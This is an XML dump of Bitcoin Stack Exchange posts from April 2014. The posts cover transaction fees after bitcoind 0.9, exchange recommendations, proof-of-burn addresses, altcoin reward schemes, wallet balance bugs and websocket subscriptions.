  <row Id="24192" PostTypeId="1" AcceptedAnswerId="24527" CreationDate="2014-04-01T12:30:54.303" Score="8" ViewCount="326" Body="&lt;p&gt;As &lt;a href=&quot;https://bitcoin.org/bin/0.9.0/README.txt&quot;&gt;the changelog of bitcoind 0.9&lt;/a&gt; tells, transaction fees should be greatly reduced. What are the implications of this?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;How were transaction fees determined before the change and after the change?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How does this change affect third-party software developers (who do not use Bitcoin-Qt wallet) - do they need to mimic this change?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How does this change roll across the network? Do 51% of miners need to update to the new version before the change starts to be effective?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5464" LastEditorUserId="1405" LastEditDate="2014-04-01T20:55:22.217" LastActivityDate="2014-04-18T11:48:47.727" Title="Transaction fees after 0.9 protocol update" Tags="|bitcoin-core|transaction-fees|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24193" PostTypeId="2" ParentId="24179" CreationDate="2014-04-01T12:33:03.757" Score="0" Body="&lt;p&gt;May be &lt;a href=&quot;http://newchg.com/unicoin/&quot; rel=&quot;nofollow&quot;&gt;http://newchg.com/unicoin/&lt;/a&gt; can be usefull but I have never used this exchange.&lt;/p&gt;&#xA;" OwnerUserId="14965" LastActivityDate="2014-04-01T12:33:03.757" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24195" PostTypeId="2" ParentId="24188" CreationDate="2014-04-01T13:21:08.087" Score="2" Body="&lt;p&gt;Yes it's solo mining, and the difficulty is so large that you will never be able to find a block before the mining pools do. You have a better chance at winning a lottery than mining a block before big pools do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you will most likely never get any coins.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-04-01T13:21:08.087" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24196" PostTypeId="2" ParentId="12899" CreationDate="2014-04-01T13:28:36.673" Score="0" Body="&lt;p&gt;About half a year past from your question. MtGox is closed and freezed all users's funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most popular exchange right now is &lt;a href=&quot;https://bitstamp.net&quot; rel=&quot;nofollow&quot;&gt;https://bitstamp.net&lt;/a&gt; but commissions are high enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After Mtgox story I wouldn't trust to btc-e since forums are full of btc-e scam reports.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a new exchange &lt;a href=&quot;http://hitbtc.com/&quot; rel=&quot;nofollow&quot;&gt;http://hitbtc.com/&lt;/a&gt; they offer good service and commissions. &lt;/p&gt;&#xA;" OwnerUserId="14965" LastActivityDate="2014-04-01T13:28:36.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24197" PostTypeId="2" ParentId="3506" CreationDate="2014-04-01T16:02:49.470" Score="-1" Body="&lt;p&gt;&lt;a href=&quot;http://hitbtc.com/&quot; rel=&quot;nofollow&quot;&gt;Hitbtc&lt;/a&gt; also allows to use it's services via TOR&lt;/p&gt;&#xA;" OwnerUserId="14965" LastActivityDate="2014-04-01T16:02:49.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24198" PostTypeId="1" CreationDate="2014-04-01T16:29:57.283" Score="5" ViewCount="861" Body="&lt;p&gt;According to the docs, Blockchain.info provides a websocket API that streams a few things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;All unconfirmed transactions using &quot;op: unconfirmed_sub&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;New blocks &amp;amp; the data they contain using &quot;op: blocks_sub&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;All new tx that are detected at a subscribed address using &quot;op: addr_sub&quot;, &quot;addr&quot;: the address you want notifications.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'm mostly interested in #3. If I send the &quot;op: addr_sub&quot; command, my websocket client will show all new tx from the moment of that subscription until the socket connection is closed. That's all well and good, but......&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to UNSUBSCRIBE from an address in the addr_sub list?&#xA;There appears to be a socket command &quot;op: unconfirmed_unsub&quot; which will halt the subscription for all unconfirmed tx, but no analog for individual address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know the answer for this? How to unsubscribe from an individually watched address?  If my purposes have been satisfied for watching an address and I wish to free up those resources how do I go about doing that? Surely, I don't have to close the entire connection and re-subscribe to everything BUT that address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd imagine there has to be some way to achieve this without requiring the subscription to be immortal.... The docs from their site &lt;a href=&quot;https://blockchain.info/api/api_websocket&quot; rel=&quot;noreferrer&quot;&gt;https://blockchain.info/api/api_websocket&lt;/a&gt; are very sparse&lt;/p&gt;&#xA;" OwnerUserId="12900" LastActivityDate="2019-10-17T10:01:32.633" Title="Remove address sub from blockchain websocket API" Tags="|transactions|address|blockchain.info|websockets|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24200" PostTypeId="1" AcceptedAnswerId="24203" CreationDate="2014-04-01T17:58:47.207" Score="3" ViewCount="140" Body="&lt;p&gt;There seemed to be great demand for multi-siganture transactions to be provided, but they don't seem to be so popular now that they are available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What percentage of transactions are multisig since their release?&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastActivityDate="2014-04-01T20:18:24.067" Title="How prevalent are multisigs?" Tags="|multi-signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24201" PostTypeId="2" ParentId="24173" CreationDate="2014-04-01T19:03:13.717" Score="0" Body="&lt;p&gt;A transaction that has multiple output scripts that point to the same address would be no different from a transaction in which every output script pointed to a different address. So when you have two outputs to the same transaction, all that matters is that you have 2 outputs and the size of those outputs (byte-wise).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees#Technical_info&quot; rel=&quot;nofollow&quot;&gt;Transaction priority&lt;/a&gt; is calculated as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;priority = sum(input_value_in_base_units * input_age)/size_in_bytes&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, only the tx size matters and the input value and age. None of these are influenced by the address to which coins are sent.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2014-04-01T19:03:13.717" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24203" PostTypeId="2" ParentId="24200" CreationDate="2014-04-01T20:18:24.067" Score="2" Body="&lt;p&gt;You can find the stats of different transaction types here: &lt;a href=&quot;http://webbtc.com/stats&quot; rel=&quot;nofollow&quot;&gt;http://webbtc.com/stats&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2014-04-01T20:18:24.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24207" PostTypeId="2" ParentId="24149" CreationDate="2014-04-01T21:34:57.780" Score="3" Body="&lt;p&gt;A popular opinion in the Bitcoin space is that &lt;a href=&quot;http://blog.stevenroose.be/2013/05/an-open-letter-on-bitcoin-transparency.html&quot; rel=&quot;nofollow&quot;&gt;transparency is key for Bitcoin businesses&lt;/a&gt;. Bitcoin and it's pseudonymous nature make it very suitable for scams and corruption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Competitive fees or additional payment options are no longer the key to the success of an exchange. There are so many exchanges that you can almost certainly find what you need feature-wise. However the important question that remains is &lt;strong&gt;whether the exchange you found can be trusted with your money&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Proof of Reserve&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Fortunately, the nature if Bitcoin's technology also has a positive side with regard to transparency: the Bitcoin block chain is public and everyone can verify it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This allows for the possibility of exchanges to &lt;strong&gt;verifiably proof that they hold all the money of their customers&lt;/strong&gt;. CoinDesk explains this &lt;a href=&quot;http://www.coindesk.com/prove-exchanges-really-money/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. Some exchanges like &lt;a href=&quot;http://www.coindesk.com/krakens-audit-proves-holds-100-bitcoins-reserve/&quot; rel=&quot;nofollow&quot;&gt;Kraken&lt;/a&gt; have recently published such proof of reserve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An &lt;strong&gt;ideal situation&lt;/strong&gt; would be for an exchange to provide a method that allows users to constantly verify of their money is still there. F.e. by keeping every customer's coins at a fixed address (this could be quite costly) or publishing a proof of reserve on a weekly or daily basis (this could be done automatically).&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2014-04-01T21:34:57.780" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24208" PostTypeId="2" ParentId="24187" CreationDate="2014-04-01T22:52:39.367" Score="7" Body="&lt;p&gt;Proof of burn simply means you have provably destroyed coins. The only way to destroy coins in a proven way is to send them to an address which is improbable to have been generated from a private key, and thus can not be spent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chancecoin is the first I've seen to use this way to generate their coins. The announcement for Chancecoin can be found here: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=528023.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=528023.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In here, they instruct people can burn bitcoins for a certain period by sending them to 1ChancecoinXXXXXXXXXXXXXXXXXZELUFD. The reason why we believe that this is a burn address and not a vanity address is that all but 6 characters seem to have been predetermined. The way you would find an address like this which you could send coins to is by running a loop.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Start with 1ChancecoinXXXXXXXXXXXXXXXXXXXXXXX&lt;/li&gt;&#xA;&lt;li&gt;Ask bitcoin if that's a valid address&lt;/li&gt;&#xA;&lt;li&gt;If it's not valid, increment the last character by one and try again&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;After a billion or so tries (not too much in terms of 'mining') address 1ChancecoinXXXXXXXXXXXXXXXXXZELUFD is found which passes the validity check. For more info on address validity see: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=1026.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=1026.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This address is very unlikely to have been generated with a private key, or if so, it would show a big weakness in bitcoin and many other security practices. So we assume that the nobody has access to this private key.&lt;/p&gt;&#xA;" OwnerUserId="12835" LastEditorUserId="6218" LastEditDate="2015-05-09T12:29:56.883" LastActivityDate="2015-05-09T12:29:56.883" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24209" PostTypeId="2" ParentId="20583" CreationDate="2014-04-01T23:03:40.723" Score="3" Body="&lt;p&gt;The rules for setting the rewards in the blocks can be as simple or as complicated as you want. Most Bitcoin derivatives have followed suit with fixed mining block rewards that are halved after some amount of time, just changing such amount and the time after which it gets halved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Others, (as Lucky, Doge, Cat coins) have a random block reward whose mean value is reduced after some amount of blocks. Plus, some coins (42 and formerly Doge) have a random &quot;superblock&quot; where reward is much higher than usual.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Primecoin and its derivatives have the reward dependent on the difficulty of the network, and there are some other, weirder models.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;premined&quot; model is usually achieved by defining the rules so the genesis block yields an incredibly high amount of coins and the next blocks give out a more &quot;normal&quot; distribution with a normal decay of reward. That way the creator of the coin, just by the act of creating the genesis block, automatically becomes the owner of a significant amount of coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Insta-mining&quot; is similarly, defining the yields so the first blocks give a very high reward which then decays extremely rapidly - so creator of the coin and the very first miners (usually the creator's associates) end up with most of the coins. Quarkcoin was highly criticised because of this, in the end was more or less accepted by the community after its novel approach of multiple proofs of work was deemed interesting.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-04-01T23:03:40.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24211" PostTypeId="2" ParentId="24149" CreationDate="2014-04-02T00:07:56.930" Score="0" Body="&lt;p&gt;1) An ideal exchange, in my opinion, should implement a form of the &lt;a href=&quot;http://en.wikipedia.org/wiki/Tobin_tax&quot; rel=&quot;nofollow&quot;&gt;Tobin tax&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plenty of times I've been burned trying to take advantage of a large price gap in a coin that apparently does see movement. I may place a buy/sell offer just to see, some seconds later, my offer being surpassed by another by just some satoshis. Should I try to pass it again, the offer gets passed again, and again and again - until one of 2 things happens: someone fulfills my order once the price gap has all but disappeared or I cancel all my orders just to see, some seconds later, all the successive orders that continuously passed mine disappear as well, seemingly leaving the market at a wide price gap again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other times, I've seen some participants &quot;compete&quot; for the price of a coin until the price does move in a direction and, once a high enough number of other participants try to ride the wave, a dump - at that point it becomes obvious it was really 2 members of the same team attempting to manipulate the market.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Another improvement I wish existed in exchanges is to place a limit in the number of orders/cancels per time period per market, so that participants with very fast Internet connections and trading with bots don't have too big an advantage over humans with less than ideal bandwidths. Plenty of times I've seen traders putting an offer and cancelling it after just some seconds, again and again several times per minute. Obviously it's a trap for humans with slow connections who might be tempted to trade at the price they see unaware that such price is no longer the best.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A hard limit of orders/cancels per second and a system that executes trades every 10 seconds (so to say) would ensure most participants have the same view of the market.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Post Edit Addition&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Something else an ideal exchange should have: the ability for a trade to go thru different coins if doing so allows the customer to get more coins for what they already have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At some exchanges there's a BTC/DOGE market, and there's also a LTC/DOGE market. But then there's a BTC/LTC market, so should there be a sudden increase in the value of LTC vs. BTC , for some time it'll become cheaper to buy dogecoins in BTC, and more profitable to sell them in LTC. Some coins can also be bought with Primecoins, adding the markets XPM/BTC, XPM/LTC and XPM/DOGE to the mix and lots of potential inefficiencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The markets eventually reach very similar levels of mutual coin worth after some minutes but never exactly the same, have seen it a number of times. If I were allowed to indicate in which coins I'd like to pay/be payed, I could get a better deal when I want to get, say, 42coins in exchange of my potcoins. Having the exchange look at the potential exchange paths available at a moment and choosing the one that benefits me the most.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point, I believe such an exchange would basically mimic the Ripple network.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastEditorUserId="4748" LastEditDate="2014-04-02T19:41:24.027" LastActivityDate="2014-04-02T19:41:24.027" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24212" PostTypeId="1" AcceptedAnswerId="24421" CreationDate="2014-04-02T01:34:32.263" Score="2" ViewCount="402" Body="&lt;p&gt;In my multibit wallet, it reports X bitcoins.  But no address in that wallet contains exactly X bitcoin, and the total reported amount should be greater than X.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason this is stranger than normal is because when additional bitcoin is sent to an address in that wallet, the X increases by the right amount, but it just conveniently forgets to accurately display an amount that is reflected in ANY single address in that wallet&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Address 1 has W bitcoin in it, W is less than the reported X amount&#xA;Address 2 has Y bitcoin in it, Y is greater than the reported X amount&#xA;Address 3 has 0 bitcoin in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So X is some combination of Address 1 and Address 2's balance, but it is not either of them&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;3 reset&quot; trick does NOTHING to fix this. And in some gamble that it does display my whole balance after a blockchain reset, it only displays it until a transaction is made, or the application is restarted. In which case my only resource seems to be to reset the blockchain over and over again, or consider MultiBit's HORRIBLE non-advise of moving everything to a new wallet in a different application by exposing the private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help?&lt;/p&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2018-05-01T23:40:52.477" Title="multibit balances wrong, not correct for any individual address" Tags="|wallet|blockchain|address|multibit|balance|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24214" PostTypeId="1" CreationDate="2014-04-02T03:36:45.290" Score="0" ViewCount="20" Body="&lt;p&gt;Are all the mining pools competing to unlock each new block, or is each pool assigned an individual block to unlock?&lt;/p&gt;&#xA;" OwnerUserId="14982" LastActivityDate="2014-04-02T03:36:45.290" Title="Do all mining pools compete to unlock same block?" Tags="|mining-pools|" AnswerCount="0" CommentCount="2" ClosedDate="2014-04-02T23:21:11.033" ContentLicense="CC BY-SA 3.0" />
  <row Id="24215" PostTypeId="1" CreationDate="2014-04-02T03:53:19.180" Score="1" ViewCount="951" Body="&lt;p&gt;So determining the value of bitcoin is not the question at stake here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose there's a new bitcoin with a production algorithm that's tied to the feedback rule proposed by McCallum and adjusts according to a datafeed of Nominal GDP. &#xA;&lt;a href=&quot;http://en.wikipedia.org/wiki/McCallum_rule&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://en.wikipedia.org/wiki/McCallum_rule&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Part of the feedback rule linked above is the variable of Velocity. It's pretty straightforward to calculate it.&#xA;&lt;a href=&quot;http://en.wikipedia.org/wiki/Velocity_of_money&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://en.wikipedia.org/wiki/Velocity_of_money&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are other threads such as &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1163/how-can-determine-the-fundamental-theoretical-value-of-the-bitcoin-based-on-stea&quot;&gt;This one&lt;/a&gt; and &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/6025/what-research-papers-cover-bitcoins-impact-on-central-banks-velocity-of-money/8634#8634&quot;&gt;This one too&lt;/a&gt; that ask similar questions, but debate over the actual solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone provide a straightforward answer? Velocity will have to be calculated in a way other than simple bitcoin days destroyed since the velocity figure from this calculation would be far too high if actors transfer between personal wallets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: topic=46241.0 &amp;lt;-- thread on bitcointalk discussing velocity as well. (Won't let me link directly)&lt;/p&gt;&#xA;" OwnerUserId="14981" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2014-04-03T21:11:47.137" Title="How to calculate velocity of Bitcoin?" Tags="|alternatives|economic-theory|altcoin|macroeconomics|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24216" PostTypeId="2" ParentId="20579" CreationDate="2014-04-02T04:37:34.563" Score="3" Body="&lt;p&gt;Public keys are 256 bits. Account numbers (for brevity) are 64-bits. However, the person who sends first outgoing transaction with that account, controls the account with 256-bit public key. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You cannot take over an account by collision as it's protected by 256-bit public key. &lt;/p&gt;&#xA;" OwnerUserId="14985" LastEditorUserId="14985" LastEditDate="2014-04-02T04:48:34.653" LastActivityDate="2014-04-02T04:48:34.653" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="24217" PostTypeId="1" AcceptedAnswerId="24315" CreationDate="2014-04-02T05:19:18.417" Score="1" ViewCount="1673" Body="&lt;p&gt;I am thinking of developing an altcoin that is truly asic/pool proof. I haven't tried yet (or even downloaded the source code), but I was wondering if it is possible for the network to behave in such a way that it will not accept a block found by a peer if the hash rate of that peer is above a certain threshold. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would that be possible? If not, how could one achieve it?&lt;/p&gt;&#xA;" OwnerDisplayName="user4276" LastEditorUserId="575" LastEditDate="2014-04-04T13:42:00.840" LastActivityDate="2014-04-04T20:22:05.747" Title="Is it theoretically possible to limit the hash rate?" Tags="|alternatives|altcoin|hashpower|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24218" PostTypeId="2" ParentId="24217" CreationDate="2014-04-02T05:50:42.350" Score="3" Body="&lt;p&gt;Given the current proof-of-work paradigm, no. What do I mean by this? A coin which is mined by computing the hash* of data depending on both the previous block (so that the integrity of the blockchain is preserved) and the payload of the current block (so that the integrity of each individual block is preserved) as well as a nonce, such that the hash satisfies certain criteria (typically, being smaller than a certain value determined by the difficulty). In such a case, there is no way of telling whether a hash was found after trying trillions of times or just one lucky guess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, I wouldn't rule it out entirely. But it will be very hard. In fact, I can relax some of the assumptions I just made and it would still not be possible to discriminate based on hashrate. To be able to discriminate effectively, you must have some way of preventing someone with a large hashrate from pretending like they are multiple people with small hashrates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Technically, any collision-resistant function mapping to a sequence of n bits will apply. I believe Primecoin's PoW is also applicable.&lt;/p&gt;&#xA;" OwnerUserId="13700" LastActivityDate="2014-04-02T05:50:42.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24219" PostTypeId="2" ParentId="24215" CreationDate="2014-04-02T06:04:59.940" Score="1" Body="&lt;p&gt;I don't see how this can be possible. Obviously you can look at the block chain to see the transactions that occurred, but since addresses are anonymous, there's no way to tell whether a given transaction transferred coins to a new owner (which should count toward velocity) or to an address belonging to the same person (which should not).&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-04-02T06:04:59.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24221" PostTypeId="1" CreationDate="2014-04-02T08:27:23.450" Score="2" ViewCount="696" Body="&lt;p&gt;If I want to create a client only, C# desktop application, what are my options for working with Bitcoin?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I could try to port BitcoinJ, which seems like a lot of overhead in terms of initial effort and keeping the project up to date.&lt;/li&gt;&#xA;&lt;li&gt;I could try to create a local Bitcoin process which runs a tiny BitcoinJ-based server, and talk to it from C#.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Neither of these seem appealing.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I could use the Blockchain API.&lt;/li&gt;&#xA;&lt;li&gt;I could set up my own server and run the wallets on the server.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Neither of these seem appealing either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know of an easier way to run a Bitcoin client without a full blockchain using C#? I would ideally like users to retain control over their wallets, with the client code finding incoming payments and facilitating the sending of coins.&lt;/p&gt;&#xA;" OwnerUserId="3869" LastActivityDate="2014-12-11T12:51:06.720" Title="Options for a Client Only C# application" Tags="|client|thin-clients|c#|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24224" PostTypeId="1" CreationDate="2014-04-02T12:29:11.447" Score="3" ViewCount="1481" Body="&lt;p&gt;How would I go about getting a stream of transactions broadcast on the Bitcoin network? Is this supported by the vanilla client? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that the client can notify me on new blocks and on all transactions that effect an address in my wallet, but I want to stream ALL transactions on the network.&lt;/p&gt;&#xA;" OwnerUserId="3869" LastActivityDate="2020-12-24T23:51:43.653" Title="How to stream transactions on the network" Tags="|transactions|server|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24225" PostTypeId="2" ParentId="13311" CreationDate="2014-04-02T12:31:54.073" Score="0" Body="&lt;p&gt;I was having the same H-not-zero issue when downloading and running a different/newer version of cgminer than what I had been using. I compared the two config files and made changes to the new version. Then I started getting the second error of Share is above target. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After playing with it a little more, the hardware was declared a dead stream and shut down. I then renamed the config file as &lt;code&gt;.bak&lt;/code&gt; just to keep it, copied the config file from the older version which worked and pasted it into the new version. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Immediately after restarting it did start to report accepted hashes. Since the newer version has more settings than the original, I saved the config file using the s (settings) w (write config file) to rewrite the file with the additional information/settings of the newer version. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the newer options written in the config file, I now can play with the newer configuration settings at my discretion. Hope this helps others in the future!&lt;/p&gt;&#xA;" OwnerUserId="14993" LastEditorUserId="11369" LastEditDate="2014-04-02T23:22:59.527" LastActivityDate="2014-04-02T23:22:59.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24226" PostTypeId="1" CreationDate="2014-04-02T12:58:10.060" Score="-2" ViewCount="79" Body="&lt;p&gt;How do I get on and off Bitcoin as quickly as possible? Could someone please write a detailed tutorial on the 'How To' of using Bitcoin for one single transaction, just to get some experience. Please.&lt;/p&gt;&#xA;" OwnerUserId="14994" LastActivityDate="2014-04-02T13:10:41.320" Title="One Time Trial Use of Bitcoin?" Tags="|buy-bitcoins|" AnswerCount="2" CommentCount="3" ClosedDate="2014-04-02T23:27:41.520" ContentLicense="CC BY-SA 3.0" />
  <row Id="24227" PostTypeId="2" ParentId="24226" CreationDate="2014-04-02T13:06:32.200" Score="0" Body="&lt;p&gt;You can use bitcoin't testnet network if you just want to give it a go, instructions as well as some useful links can be found at: &lt;a href=&quot;https://en.bitcoin.it/wiki/Testnet&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Testnet&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-04-02T13:06:32.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24228" PostTypeId="2" ParentId="24226" CreationDate="2014-04-02T13:10:41.320" Score="0" Body="&lt;p&gt;Depending on the level you want to try Bitcoin on, &lt;a href=&quot;http://trybtc.com&quot; rel=&quot;nofollow&quot;&gt;trybtc.com&lt;/a&gt; might offer just what you want. The website gives a cursory overview of how Bitcoin works, and then gives you a minuscule amount of bitcoins to send to a charity and share with a friend.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-04-02T13:10:41.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24231" PostTypeId="2" ParentId="19705" CreationDate="2014-04-02T14:49:57.043" Score="1" Body="&lt;p&gt;You probably want this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/ZYMNFAXt&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/ZYMNFAXt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a BTC miner that works in JS.  I took it from bitcoinplus.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think that this is economically feasible though - cpu mining is a total waste - unless you're looking to do something malicious with the code like having others use your tools that also happen to utilize CPU power to mine for btc underneath - which by the way is a sure fire way to get your software banned and shunned at large.  What you describe sounds like something deployed in a botnet or malware scheme - perhaps a bad android modded rom.  &lt;/p&gt;&#xA;" OwnerUserId="5486" LastActivityDate="2014-04-02T14:49:57.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24232" PostTypeId="2" ParentId="14447" CreationDate="2014-04-02T14:58:39.257" Score="0" Body="&lt;p&gt;use Squarespace or Stripe.com for seamless integration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use coinpayments.net for acceptance of many other virtual currencies not just BTC.&lt;/p&gt;&#xA;" OwnerUserId="5486" LastActivityDate="2014-04-02T14:58:39.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24233" PostTypeId="1" CreationDate="2014-04-02T15:03:53.463" Score="0" ViewCount="282" Body="&lt;p&gt;I don't want to necessarily do this, but what prevents this scenario from being possible? [just timestamps and a difficulty modifier alone? - if that's the case then why can't I modify the client to be set at a much higher difficulty to mine stuff in anticipation of a harder target as opposed to simply using network difficulty?]:  How come I cannot make a modified version of Bitcoin QT and all historical transactional data re-utilized to mine all past stale blocks and simply premine all remaining bitcoin without difficulty?&lt;/p&gt;&#xA;" OwnerUserId="5486" LastEditorUserId="5406" LastEditDate="2016-03-31T16:13:19.573" LastActivityDate="2016-03-31T16:13:19.573" Title="Why can't I create a fork of BTC that has no difficulty changes so I can premine the rest of the coins?" Tags="|mining-theory|blockchain-fork|chain-reorganization|checkpoints|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24234" PostTypeId="2" ParentId="24233" CreationDate="2014-04-02T15:06:03.053" Score="0" Body="&lt;p&gt;You'd then have to force everybody to download your forked version. And nobody would do that because it contains malicious behavior.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-04-02T15:06:03.053" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
